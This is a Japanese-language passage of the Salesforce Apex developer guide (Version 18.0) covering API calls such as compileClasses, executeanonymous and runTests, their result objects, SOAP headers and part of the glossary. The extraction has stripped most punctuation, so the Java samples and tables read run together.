エラーが発生した場合その問題の説明stringproblem

trueの場合指定されたトリガは正常にコンパイルされ実行されていますトリガのコンパイルまたは実行が失敗する場合値は false

です

booleansuccess

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

DeleteApexResult

このオブジェクトはcompileAndTest()コールがクラスまたはトリガの削除に関する情報を返します

DeleteApexResult オブジェクトには次のプロパティがあります

説明型Name

削除されたトリガまたはクラスの IDID は組織内で一意ですIDid

エラーが発生した場合その問題の説明stringproblem

trueの場合指定されたクラスまたはトリガはすべて正常に削除されていますクラスまたはトリガが削除されていない場合値は false

です

booleansuccess

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

compileClasses()

Developer Edition または Sandbox Edition を使用している組織の Apex をコンパイルします

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | compileClasses() | 410

構文

CompileClassResult[] = compileClasses(string[] classList)

使用方法

このコールを使用してDeveloper Edition または Sandbox Edition を使用している組織の Apex クラスをコンパイルします運用組織ではcompileAndTest()を使用する必要があります

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

サンプルコードmdashJava

public void compileClassesSample() String p1 = public class p1 n + public staticInteger var1 = 0n + public static void methodA() n + var1 = 1n + n + publicstatic void methodB() n + p2MethodA()n + n + String p2 = public classp2 n + public static Integer var1 = 0n + public static void methodA() n + var1= 1n + n + public static void methodB() n + p1MethodA()n + n + CompileClassResult[] r = new CompileClassResult[0] try r = apexBindingcompileClasses(newString[]p1 p2) catch (RemoteException e) Systemoutprintln(An unexpected erroroccurred + egetMessage()) if (r[0]isSuccess()) Systemoutprintln(Couldntcompile class p1 because + r[0]getProblem()) if (r[1]isSuccess()) Systemoutprintln(Couldnt compile class p2 because + r[1]getProblem())

引数

説明型Name

Apexクラスおよびこの要求に設定する必要のある項目の値を含む要求stringscripts

Response

CompileClassResult

compileTriggers()

Developer Edition または Sandbox Edition を使用している組織の Apex トリガをコンパイルします

構文

CompileTriggerResult[] = compileTriggers(string[] triggerList)

使用方法

このコールを使用してDeveloper Edition または Sandbox Edition を使用している組織の指定された Apex トリガを コンパイルします運用組織ではcompileAndTest()を使用する必要があります

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | compileTriggers() | 411

引数

説明型Name

Apexトリガおよびこの要求に設定する必要のある項目の値を含む要求stringscripts

Response

CompileTriggerResult

executeanonymous()

Apex のブロックを実行します

構文

ExecuteAnonymousResult[] = bindingexecuteanonymous(string apexcode)

使用方法

このコールを使用してApex の匿名ブロックを実行しますこのコールは AJAX から実行できます

このコールはAPI DebuggingHeader と SessionHeader をサポートしています

制限されたAPIアクセスを含むパッケージのコンポーネントがこのコールを発行する場合要求はブロックされます

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

引数

説明型Name

Apex のブロックstringapexcode

『Forcecom Web Services API Developers Guide』にはセキュリティアクセスSOAP ヘッダーに関する情報が記載されています

Response

ExecuteAnonymousResult[]

ExecuteAnonymousResult

executeanonymous()コールはコードのコンパイルおよび実行が正常に行われたかどうかの情報を返します

ExecuteAnonymousResultオブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | executeanonymous() | 412

説明型名前

compiledが偽である場合この項目にはコンパイルが失敗したポイントの列番号が含まれています

intcolumn

compiledが偽である場合この項目にはコンパイルが失敗した問題の説明が含まれています

stringcompileProblem

真の場合コードは正常にコンパイルされています偽の場合columnlinecompileProblem項目は null ではありません

booleancompile

successが偽である場合この項目には失敗の例外メッセージが含まれています

stringexceptionMessage

successが偽である場合この項目には失敗のスタックトレースが含まれています

stringexceptionStackTrace

compiledが偽である場合この項目にはコンパイルが失敗したポイントの行番号が含まれています

intline

真の場合コードは正常に実行されています偽の場合exceptionMessageおよび exceptionStackTraceの値は null ではありません

booleansuccess

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

runTests()

Apex ユニットテストを実行します

構文

RunTestsResult[] = bindingrunTests(RunTestsRequest request)

使用方法

強固な開発を促進するためにエラーのないコードApex はユニットテストの作成および実行をサポートしますユニットテストは特定のコードが適切に動作しているかを確認するクラスメソッドですユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義で testMethod

キーワードを使用してフラグを立てます このコールを使用してApex ユニットテストを実行します

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

サンプルコードmdashJava

public void runTestsSample() String sessionId = sessionID goes here String url = urlgoes here set the apex stub with session id received from logging in with the partnerAPI _SessionHeader sh = new _SessionHeader() apexBindingsetHeader( newApexServiceLocator()getServiceName()getNamespaceURI() SessionHeader sh) set theurl received from logging in with the partner API to the apex stub

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | runTests() | 413

apexBinding_setProperty(ApexBindingStubENDPOINT_ADDRESS_PROPERTY url)

set the debugging header _DebuggingHeader dh = new _DebuggingHeader()dhsetDebugLevel(LogTypeProfiling) apexBindingsetHeader( newApexServiceLocator()getServiceName()getNamespaceURI() DebuggingHeader dh)

long start = SystemcurrentTimeMillis() RunTestsRequest rtr = new RunTestsRequest()rtrsetAllTests(true) RunTestsResult res = null try res = apexBindingrunTests(rtr) catch (RemoteException e) Systemoutprintln(An unexpected error occurred +egetMessage())

Systemoutprintln(Number of tests + resgetNumTestsRun()) Systemoutprintln(Numberof failures + resgetNumFailures()) if (resgetNumFailures() gt 0) for (RunTestFailurertf resgetFailures()) Systemoutprintln(Failure + (rtfgetNamespace() == null rtfgetNamespace() + )) + rtfgetName() + + rtfgetMethodName() + +rtfgetMessage() + n + rtfgetStackTrace()) if (resgetCodeCoverage() = null) for (CodeCoverageResult ccr resgetCodeCoverage()) Systemoutprintln(Code coveragefor + ccrgetType() + (ccrgetNamespace() == null ccrgetNamespace() + )+ccrgetName() + + ccrgetNumLocationsNotCovered() + locations not covered out of + ccrgetNumLocations()) if (ccrgetNumLocationsNotCovered() gt 0) for (CodeLocation cl ccrgetLocationsNotCovered()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn()) if (ccrgetSoqlInfo() = null) Systemoutprintln( SOQL profiling)for (CodeLocation cl ccrgetSoqlInfo()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn() + + clgetNumExecutions() + time(s) in + clgetTime()+ ms) if (ccrgetDmlInfo() = null) Systemoutprintln( DML profiling) for(CodeLocation cl ccrgetDmlInfo()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn() + + clgetNumExecutions() + time(s) in + clgetTime() + ms) if (ccrgetMethodInfo() = null) Systemoutprintln( Method profiling) for(CodeLocation cl ccrgetMethodInfo()) Systemoutprintln(tLine + clgetLine() + column + clgetColumn() + + clgetNumExecutions() + time(s) in + clgetTime() + ms) Systemoutprintln(Finished in + (SystemcurrentTimeMillis() - start) +ms)

引数

説明型名前

Apex ユニットテストおよびこの要求に設定する必要のある項目の値を含む要求

RunTestsRequestrequest

Response

RunTestsResult

RunTestsRequest

compileAndTest()コールには要求 CompileAndTestRequest が含まれApex についての情報がコンパイルされています要求にはテストする Apex の情報を指定するこのオブジェクトが含まれていますテストする同じクラスまたは異なるクラスをコンパイルされた状態に指定しますトリガを直接テストできないためこのオブジェクトに含むことはできません代わりにトリガをコールするクラスを指定する必要があります

要求が運用組織に送信されるとこの要求は無視され組織に定義されたすべてのユニットテストが実行されます

CompileAndTestRequest オブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsRequest | 414

説明型名前

allTestsが真の場合組織に定義されたすべてのユニットテストが実行されます

booleanallTests

1 つまたは複数のオブジェクトの配列stringclasses

指定されている場合実行するユニットテストを含む名前空間allTestsを真に指定する場合このプロパティを使用しないでくださいまた

stringnamespace

compileAndTest()を運用組織で実行する場合このプロパティは無視され組織に定義されたすべてのユニットテストが実行されます

バージョン 100 以降は使用しないでくださいサポートされていない古いリリースではパッケージの内容がテストされます

stringpackages

RunTestsResult

コールは指定された Apex のコンパイルが成功したか否かテストが正常に完了したか否かについての情報を返します

RunTestsResult オブジェクトには次のプロパティがあります

説明型名前

ユニットテストのコード範囲の詳細を含む 1 つまたは複数の CodeCoverageResult オブジェクトの配列

CodeCoverageResult[]codeCoverage

テストの実行について警告する 1 つまたは複数のコード範囲の配列結果には実行された行の合計数実行さ

CodeCoverageWarning[]codeCoverageWarnings

れなかったコードの数行列の位置が含まれています

ユニットテストの失敗があればそれについての情報を含む 1 つまたは複数の RunTestFailure オブジェクトの配列

RunTestFailure[]failures

ユニットテストの失敗数intnumFailures

実行されたユニットテストの数intnumTestsRun

成功についての情報があればその情報を含む 1 つまたは複数の RunTestSuccesses オブジェクトの配列

RunTestSuccess[]successes

テストの実行に費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

doubletotalTime

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsResult | 415

CodeCoverageResult

このオブジェクトを含む RunTestsResult オブジェクト指定された Apex のコンパイルとユニットテストの実行が正常に行われたかどうかの情報が含まれています

CodeCoverageResult オブジェクトには次のプロパティがあります

説明型名前

テストされた各クラスまたはトリガについてテストされたコードの各部分についてこのプロパティにはDML ステートメントの場所

CodeLocation[]dmlInfo

コードが実行された回数これらのコールに費やした累積時間の合計が含まれていますパフォーマンスの監視に役立つ場合があります

CodeLocation の IDID は組織内で一意ですIDid

テストされた各クラスまたはトリガについてコードが変換されていない場合テストされていないコードの行および列コードが実行された回数

CodeLocation[]locationsNotCovered

テストされた各クラスまたはトリガについてメソッド呼び出しの場所コードが実行された回数これらのコールに費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

CodeLocation[]methodInfo

カバーされているクラスの名前stringname

指定されている場合ユニットテストを含む名前空間stringnamespace

カバーされている場所の数intnumLocations

テストされた各クラスまたはトリガについてコードの SOQL ステートメントの場所コードが実行された回数これらのコールに費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

CodeLocation[]soqlInfo

テストされた各クラスまたはトリガについてコードの SOSL ステートメントの場所コードが実行された回数これらのコールに費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

CodeLocation[]soslInfo

使用しません以前のサポートされていないリリースではクラスまたはパッケージを指定していました

stringtype

CodeCoverageWarning

このオブジェクトを含む RunTestsResult オブジェクト警告を生成した Apex クラスに関する情報が含まれています

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsResult | 416

このオブジェクトには次のプロパティがあります

説明型名前

警告を生成したクラスの IDIDid

生成された警告のメッセージstringmessage

警告を生成したクラスの名前警告がコードの範囲全体に適用されて場合この値は null になります

stringname

指定されている場合クラスを含む名前空間stringnamespace

RunTestFailure

RunTestsResult オブジェクトはユニットテスト実行時の失敗に関する情報を返します

このオブジェクトには次のプロパティがあります

説明型名前

失敗を生成したクラスの IDIDid

失敗のメッセージstringmessage

失敗したメソッドの名前stringmethodName

失敗したクラスの名前stringname

指定されている場合クラスを含む名前空間stringnamespace

失敗についてのスタックトレースstringstackTrace

失敗の処理に対してテストの実行に費やした時間パフォーマンスの監視に役立つ場合があります

doubletime

使用しません以前のサポートされていないリリースではクラスまたはパッケージを指定していました

stringtype

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

RunTestSuccess

RunTestsResult オブジェクトはユニットテスト実行時の成功に関する情報を返します

このオブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | RunTestsResult | 417

説明型名前

成功を生成したクラスの IDIDid

成功したメソッドの名前stringmethodName

成功したクラスの名前stringname

指定されている場合クラスを含む名前空間stringnamespace

この操作に対してテストの実行に費やした時間パフォーマンスの監視に役立つ場合があります

doubletime

CodeLocation

さまざまな項目にこの項目を RunTestsResult オブジェクト

このオブジェクトには次のプロパティがあります

説明型名前

テストされた Apex の場所intcolumn

テストされた Apex の行の場所intline

テスト実行時に Apex が実行された回数intnumExecutions

この場所で費やした累積時間の合計パフォーマンスの監視に役立つ場合があります

doubletime

DebuggingHeader

応答がリターンヘッダーのデバッグログを含むよう指定しデバッグのヘッダーの詳細のレベルを指定します

API コールcompileAndTest()executeanonymous()runTests()

項目

説明型要素名

この項目は廃止され後方互換性にのみ提供されていますデバッグログに返される情報の種類を指定します値は返される情報が最も少な

logtypedebugLevel

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | DebuggingHeader | 418

説明型要素名

いものから最も多いものの順に表示されます使用できる値は次のとおりですbull NONE

bull DEBUGONLY

bull DB

bull PROFILING

bull CALLOUT

bull DETAIL

デバッグログに返される情報の量や種類を指定しますLogInfo[]categories

LogInfo[]

デバッグログに返される情報の量や種類を指定しますcategories項目はこれらのオブジェクトのリストを取ります

項目

説明型要素名

デバッグログに返される情報の種類を指定します有効な値は次のとおりです

stringLogCategory

bull Db

bull ワークフローbull Validation

bull Callout

bull Apex_code

bull Apex_profiling

bull All

デバッグログに返される情報の量を指定しますApex_codeLogCategory

のみでログカテゴリのレベルを使用します

有効なログレベルは次のとおりです (低いものから順に並べてあります)

stringLogCategoryLevel

bull ERROR

bull WARN

bull INFO

bull DEBUG

bull FINE

bull FINER

bull FINEST

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | DebuggingHeader | 419

PackageVersionHeader

インストールされた管理パッケージのパッケージバージョンを指定しますパッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213)となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumber

はパッチリリース時のみ生成されますpatchNumberがない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecomまでお問い合わせください一連のコンポーネントのほかパッケージバージョンには特定の動作が含まれています公開者はパッケージバージョンを使用してパッケージを使用する既存の連携に影響を与えることなく後続のパッケージバージョンをリリースすることにより管理パッケージのコンポーネントを発展させることができます

管理パッケージには異なる内容および動作のさまざまなバージョンを指定できますこのヘッダーを使用してAPI クライアントに参照される各パッケージに使用されるバージョンを指定できますパッケージのバージョンが指定されていない場合API クライアントは [設定] [開発] [API] の [バージョン設定] で選択されているパッケージのバージョンを使用しますこのヘッダーはAPI バージョン 160 以降で使用できます

API コールcompileAndTest() compileClasses() compileTriggers() executeanonymous()

項目

説明型要素名

この Apex クライアントによって参照されるインストールされた管理パッケージバージョンのリスト

PackageVersion[]packageVersions

PackageVersion

インストールされた管理パッケージのバージョンを指定します次の項目があります

説明型項目

パッケージバージョンのメジャー番号パッケージバージョンは21

のちょうにmajorNumberminorNumberと表されますintmajorNumber

パッケージバージョンのマイナー番号パッケージバージョンは21

のちょうにmajorNumberminorNumberと表されますintminorNumber

管理パッケージの一意の名前空間stringnamespace

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | PackageVersionHeader | 420

用語集

A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z

A

管理者 (システム管理者)

アプリケーションの設定およびカスタマイズができる組織内の 1 人以上のユーザシステム管理者プロファイルに割り当てられているユーザは管理者権限があります

AJAX Toolkit

API 周辺の JavaScript ラッパーでAPI コールを実行しJavaScript コードで表示する権限を持つオブジェクトにアクセスできます詳細については『AJAX Toolkit Developers Guide』を参照してください

匿名ブロックApex

Salesforcecomに格納できないがExecuteAnonymousResult()APIコールまたはAJAX Toolkitの同等のコールを使用してコンパイルおよび実行することができる Apex スクリプトです

Apex

Forcecom Apex コードは開発者が Forcecom プラットフォームサーバでフローとトランザクションの制御文を Forcecom API と組み合わせて実行できるようにした強く定型化されたオブジェクト指向のプログラミング言語ですJava に似た構文を使いデータベースのストアドプロシージャのように動作するApexコードを使用して開発者はボタンクリック関連レコードの更新および Visualforce ページなどのほとんどのシステムイベントに対しビジネスロジックを追加できますApexスクリプトはWeb サービス要求からおよびオブジェクトのトリガから開始できます

Apex による共有管理開発者はアプリケーションの動作をサポートする共有をプログラムで操作できるようになりますApexによる共有管理はカスタムオブジェクトでのみ有効です

App

「アプリケーション」の短縮形です特定のビジネス要件を扱うタブレポートダッシュボードおよびVisualforce ページなどのコンポーネントの集合ですSalesforcecom ではセールスおよびコールセンターなどの標準アプリケーションを提供していますお客様のニーズに合わせてこれらの標準アプリケーションをカスタマイズできますまたアプリケーションをパッケージ化してカスタム項目カスタムタブカスタムオブジェクトなどの関連コンポーネントとともに AppExchange にアップロードすることができますそのアプリケーションをAppExchangeから他のSalesforcecomユーザが利用できるようにすることもできます

AppExchange

AppExchangeはForcecomプラットフォーム用に作成されたアプリケーションとコンポーネントの参照インストールおよび共有を可能にする salesforcecomのオンデマンドアプリケーション共有インターフェースです

アプリケーションプログラムインターフェース (API)

コンピュータシステムライブラリまたはアプリケーションがその他のコンピュータプログラムがサービスを要求したりデータを交換できるようにするために提供するインターフェース

承認プロセスSalesforcecomでレコードを承認する場合に組織で使用できる自動化されたプロセスです承認プロセスでは承認するレコードの条件と各承認ステップの承認者を指定します各承認ステップはその承認プロセスの対象レコードすべてに適用することも特定の条件を満たすレコードのみに適用することもできます承認プロセスではレコードの承認却下撤回または承認申請時に実施するアクションも指定します

B

Apex の一括処理Apex を使用して多くのレコードに長く複雑な処理をスケジュールされた時間に実行する機能

C

コールアウトApex

Apex コールアウトを使用して外部 Web サービスへのコールを作成または Apex スクリプトから HTTP要求を送信して応答を受信することによってApex を外部サービスとを密接に統合することができます

子リレーション別の sObject を一対多リレーションの片方として参照する sObject に定義されたリレーションたとえば取引先担当者商談および行動は取引先との子リレーションがあります

「sObject」も参照してください

クラスApex

Apexオブジェクト作成するためのテンプレートまたはつまり設計図他のクラスユーザ定義メソッド変数例外タイプおよび static 初期設定化コードで構成されます多くの場合Apex クラスはJava内のその対応物に基づいています

クライアントアプリケーションSalesforcecomユーザインターフェース外で稼動しForcecom APIまたはBulk APIのみを使用するアプリケーション通常デスクトップまたはモバイルデバイス上で稼動しますこれらのアプリケーションはプラットフォームをデータソースとして扱い設計されたツールおよびプラットフォームの開発モデルを使用します複合アプリケーションおよびネイティブアプリケーションを参照してください

コンポーネントVisualforce

ltapexdetailgtなどの一連のタグを使用して Visualforce ページに追加できますVisualforce には多くの標準コンポーネントが含まれていますが独自のカスタムコンポーネントを作成することもできます

用語集 Version 180 | | 422

コンポーネントの参照Visualforce

組織で使用できる Visualforce の標準コンポーネントおよびカスタムコンポーネントの説明Visualforce ページの開発フッターまたは『Visualforce Developers Guide』からコンポーネントライブラリにアクセスできます

複合アプリケーションYahoo 地図など 1 つまたは複数の外部 Web サービスとネイティブのプラットフォーム機能を組み合わせるアプリケーション複合アプリケーションを使用すると柔軟性とその他のサービスとの統合を実現しますが外部コードの実行および管理が必要な場合がありますクライアントアプリケーションおよびネイティブアプリケーションを参照してください

コントローラVisualforce

Visualforce ページに実行する必要のあるデータおよびビジネスロジックを提供する Apex クラスVisualforceページはデフォルトですべての標準オブジェクトまたはカスタムオブジェクトに付属する標準コントローラを使用またはカスタムコントローラを使用できます

拡張コントローラ拡張コントローラは標準コントローラまたはカスタムコントローラの機能を拡張する Apex クラスです

カスタムアプリケーション「アプリケーション」を参照してください

カスタムコントローラカスタムコントローラは標準コントローラを使用せずにページのすべてのロジックを実装する Apex クラスですVisualforce ページ全体をシステムモードで実行する場合にカスタムコントローラを使用しますシステムモードはプロファイルベースの権限および現在のユーザの項目レベルのセキュリティを設定しません

カスタムリンクSalesforcecom データを外部 Web サイトおよびバックエンドのオフィスシステムと統合するためにシステム管理者が定義したカスタム URL以前は Web リンクと呼ばれていました

カスタムオブジェクト組織固有の情報を保存することが可能なカスタムレコード

D

データベース情報の編成された集合Forcecomプラットフォームの基底となるアーキテクチャにはデータが格納されているデータベースが含まれています

データローダSalesforcecom 組織のデータをインポートおよびエクスポートするために使用するForcecom プラットフォーム

データ操作言語 (DML)

Forcecom プラットフォームデータベースからレコードを挿入更新削除する Apex のメソッドまたは操作

用語集 Version 180 | | 423

データ状況特定の時間におけるオブジェクト内データの構造

日付リテラルlast monthまたは next yearなど時間の相対的範囲を示す SOQL クエリまたは SOSL クエリのキーワード

小数点の位置数値通貨パーセント項目で小数点の右に入力できる桁数合計たとえば498 の場合は 2 となりますこれ以上の桁の数値を入力した場合は四捨五入されますたとえば[小数点の位置]が 2 の場合に 4986と入力するとその数値 は 499 となります

非推奨コンポーネント開発者は要件がアップグレードするごとに管理パッケージの機能を調整する場合があります管理パッケージのコンポーネントの一部の再設計が必要な場合があります開発者は「管理-リリース済み」パッケージの一部のコンポーネントは削除できませんが新しい登録ユーザがコンポーネントを受け取らないよう今後のパッケージのコンポーネントを廃止することができます既存の登録ユーザおよびAPI統合に対してはコンポーネントは継続して機能します

Developer Force

Developer Force Web サイト ( developerforcecom) ではサンプルコードツールキットオンラインの開発者コミュニティそして制限された Forcecom プラットフォーム環境を取得する機能などプラットフォーム開発者の幅広い範囲のリソースを提供しています

E

電子メールアラート電子メールアラートは電子メールテンプレートを使用してワークフロールールまたは承認プロセスによって生成されSalesforcecomユーザなど指定された受信者に送信されるワークフローおよび承認アクションです

Enterprise WSDL

Salesforcecom 組織のみとの統合を構築する顧客または強い定型化が必要な統合を構築するために Tibco やwebMethods のようなツールを使用しているパートナー向けの強く定型化されたWSDLEnterprise WSDLの欠点は組織のデータモデルに存在するすべての一意のオブジェクトおよび項目にバインドされているため1 つの Salesforcecom 組織のスキーマだけを扱うという点です

エンティティ関係図 (ERD)

データをエンティティ (またはForcecomプラットフォームではオブジェクト) に整理しそれらのリレーションを定義することができるデータモデリングツール主要な Salesforcecom オブジェクトの ERD ダイアグラムについては『Forcecom Web Services API Developers Guide』を参照してください

F

ファセットファセットのコンテンツで表示された親のエリアを上書きできる別のVisualforceコンポーネントの子です

用語集 Version 180 | | 424

項目テキストまたは通貨の値など情報の特定の部分を保持するオブジェクトの一部

項目の連動関係別の項目の値に基づいて選択リストの内容を変更できる項目

項目レベルセキュリティ項目がユーザのプロファイルに基づいて「アクセス可」「非表示」「参照のみ」または 「編集可」になることを指定する設定使用可能なエディションはEnterprise EditionUnlimited EditionおよびDeveloper Edition です

Forcecom

アプリケーションを構築する salesforcecom プラットフォームForcecom は強力なユーザインターフェースオペレーティングシステムおよびデータベースを結合して企業全体でアプリケーションをカスタマイズおよび展開できます

Forcecom IDE

開発者が Eclipse 開発環境で Forcecom アプリケーションを管理作成デバッグおよび展開できる Eclipseプラグイン

Forcecom 移行ツールローカルファイルシステムと Salesforcecom 組織とで Forcecom コンポーネントを移行するApache の Ant開発スクリプトを作成できるツールキット

Forcecom Web サービス API

Salesforcecom 組織の情報へのアクセスを提供する Web サービスベースのアプリケーションプログラムインターフェース

外部キー値が別のテーブルのプライマリキーと同じ項目外部キーは別のテーブルのプライマリキーのコピーとしてみなすことができます2 つのテーブルのリレーションはあるテーブルの外部キーの値と別のテーブルのプライマリキーの値が一致することによって成り立ちます

G

Getter メソッド開発者がページのマークアップにデータベースとその他の計算値を表示できるメソッド

値を返すメソッド「Setter メソッド」を参照してください

グローバル変数組織のデータの参照に使用できる特別な差し込み項目

Forcecom Web サービス API やその他の Apex スクリプトのいずれかでアプリケーション外から参照する必要があるメソッドで使用するメソッドアクセス修飾子

ガバナ制限効果のないコードを作成する開発者が他の Salesforcecom ユーザのリソースを独占しないようにする Apex 実行の制限

用語集 Version 180 | | 425

グレゴリオ暦世界中で使用されている12 か月構造に基づいたカレンダー

H

HTTP デバッガAJAX Toolkit から送信される SOAP 要求を識別し調査するために使用できるアプリケーションローカルコンピュータで稼動するプロキシサーバとして動作し各要求を調査および認証できます

I

ID

「Salesforcecom レコード ID」を参照してください

インポートウィザードSalesforcecom 組織にデータをインポートするツール[設定] から使用します

インスタンス組織のデータをホストしアプリケーションを実行する単一の論理サーバとして示されるソフトウェアおよびハードウェアのクラスタForcecom プラットフォームは複数のインスタンスで稼動しますが1つの組織のデータは常に 1 つのインスタンスに一元管理されています

統合ユーザクライアントアプリケーションまたは統合に単独で定義された Salesforcecom ユーザForcecom Web サービス API コンテキストではログインユーザともいいます

ISO コード国際標準化機構が定める国コードで各国を 2 文字で表します

J

連結オブジェクト2 つの主従関係を持つカスタムオブジェクトですカスタム連結オブジェクトを使用して2 つのオブジェクト間の「多対多」リレーションをモデル化できますたとえば「バグ」という名前のカスタムオブジェクトを作成し1 つのバグを複数のケースにまた 1 つのケースを複数のバグに関連付けることができます

K

該当用語はありません

L

Length

テキスト項目の場合カスタム項目に入力できる最大文字数 (255 文字まで) を指定するパラメータ

数値通貨パーセント項目の場合整数部として入力できる桁数を指定するパラメータたとえば12398の場合は 3 と指定します

用語集 Version 180 | | 426

リストビュー特定の条件による項目 (リード取引先または商談など) のリスト表示Salesforcecom では定義済みのビューを提供しています

コンソールではリストビューが具体的な条件に基づいてレコードのリストビューを表示する最上位のフレームです[コンソール] タブに表示して選択できるリストビューは各オブジェクトのタブで定義されたリストビューと同じですコンソール内でリストビューを作成することはできません

ローカルネームユーザまたは取引先の言語で保存される項目の値項目のローカルネームは項目の標準名称に関連付けられます

参照関係互いを関連付けることができる 2 つのレコード間の関係たとえばケースには特定の納入商品をケースに関連付ける納入商品との参照関係があります一方の参照項目を使用するとユーザはルックアップアイコンをクリックしてポップアップウィンドウから別のレコードを選択できます関連付けられたレコードではその後リンクされたすべてのレコードを表示する関連リストを表示できます参照関係がレコードの削除またはセキュリティに影響を及ぼすことはありませんまたページレイアウトに参照項目を作成する必要はありません

M

管理パッケージユニットとして AppExchange に投稿され名前空間とライセンス管理組織に関連付けられるアプリケーションコンポーネントの集合アップグレードをサポートするためにパッケージを管理する必要があります組織は他の多くの組織でダウンロードおよびインストールできる単一の管理パッケージを作成できます管理パッケージは未管理パッケージとは異なりコンポーネントの一部がロックされていて後でアップグレードできます未管理パッケージにはロックされたコンポーネントは含まれておらずアップグレードはできませんまた管理パッケージでは開発者の知的財産保護のため登録している組織では特定のコンポーネント (Apex など) は隠されます

共有の直接設定レコード所有者はレコードにアクセス権限を持たないユーザに参照権限および編集権限を与えることができるレコードレベルのアクセスルール

多対多リレーションリレーションの両端に多くの子があるリレーション多対多リレーションは連結オブジェクトを使用して実装されます

メタデータ組織およびいずれかの部署の構造外観機能に関する情報Forcecom ではメタデータを記述するのにXML を使用します

メタデータベース開発アプリケーションを宣言的な「設計図」として定義できるアプリケーション開発モデルコードは必要ありませんデータモデルオブジェクトフォームワークフローなどプラットフォームに構築されたアプリケーションはメタデータで定義されます

用語集 Version 180 | | 427

メタデータ WSDL

Forcecom Metadata API コールを使用するユーザの WSDL

マルチテナンシーすべてのユーザおよびアプリケーションが単一で共通のインフラストラクチャおよびコードベースを共有するアプリケーションモデル

Model-View-Controller (MVC)

アプリケーションをデータを示すコンポーネントに分割するデザインパラダイム (モデル)ユーザインターフェースにデータを表示する方法 (ビュー)ビジネスロジックでデータを処理する方法 (コントローラ)

N

名前空間パッケージコンテキストではドメイン名と同様AppExchange にある自社パッケージとそのコンテンツを他の開発者のパッケージと区別するための 1 15 文字の英数字で構成される識別子Salesforcecom ではSalesforcecom 組織のすべての一意のコンポーネント名に自動的に名前空間プレフィックスを 2 つのアンダースコア (ldquo__rdquo) の前に追加します

ネイティブアプリケーションForcecomの設定 (メタデータ) 定義で排他的に開発されたアプリケーションですネイティブアプリケーションには外部サービスまたは外部インフラストラクチャは必要ありません

O

オブジェクトSalesforcecom組織に情報を保存するために使用するオブジェクトオブジェクトは保存する情報の種類の全体的な定義ですたとえばケースオブジェクトを使用して顧客からの問い合わせに関する情報を保存できます各オブジェクトについて組織はそのデータ型の具体的なインスタンスに関する情報を保存する複数のレコードを保有しますたとえば佐藤次郎さんから寄せられたトレーニングに関する問い合わせに関する情報を保存するケースレコードと山田花子さんから寄せられたコンフィグレーションの問題に関する情報を保存するケースレコードなどです

オブジェクトレベルのヘルプカスタムオブジェクトについて提供できるカスタムヘルプテキストリストビューや関連リストと同様にカスタムオブジェクトレコードホーム (概要) ページ詳細ページおよび編集ページが表示されます

オブジェクトレベルセキュリティ特定のユーザに対してタブやオブジェクト全体を非表示にできる設定ユーザはそうしたデータの存在を知ることもできませんプラットフォームではユーザプロファイルのオブジェクト権限を使用してオブジェクトレベルのアクセスルールを設定します

一対多リレーション1 つのオブジェクトが多数のオブジェクトに関連するリレーションたとえば取引先に 1 つまたは複数の関連取引先担当者がある場合があります

用語集 Version 180 | | 428

組織ライセンスユーザセットが定義されたSalesforcecomの導入組織はsalesforcecomの各お客様に提供された仮想スペースです組織にはすべてのデータおよびアプリケーションが含まれており他のすべての組織から独立しています

組織の共有設定ユーザが組織で持つデータアクセスのベースラインレベルを指定できる設定たとえばユーザプロファイルで有効化されている特定のオブジェクトの任意のレコードを参照できますが編集するには別の権限が必要となるよう設定できます

アウトバウンドコールSalesforce CRM Call Center のコールセンターの外部にユーザがから発信するコール

アウトバウンドメッセージ外部サービスなどの指定したエンドポイントに指定の情報を送信するワークフロー承認および承認活動アウトバウンドメッセージはエンドポイントに対し特定の項目内のデータを SOAP メッセージとして送信しますアウトバウンドメッセージはSalesforcecomの設定メニューで設定しますその後で外部エンドポイントを設定する必要がありますForcecom Web サービス API を使用してメッセージのリスナーを作成できます

P

Package

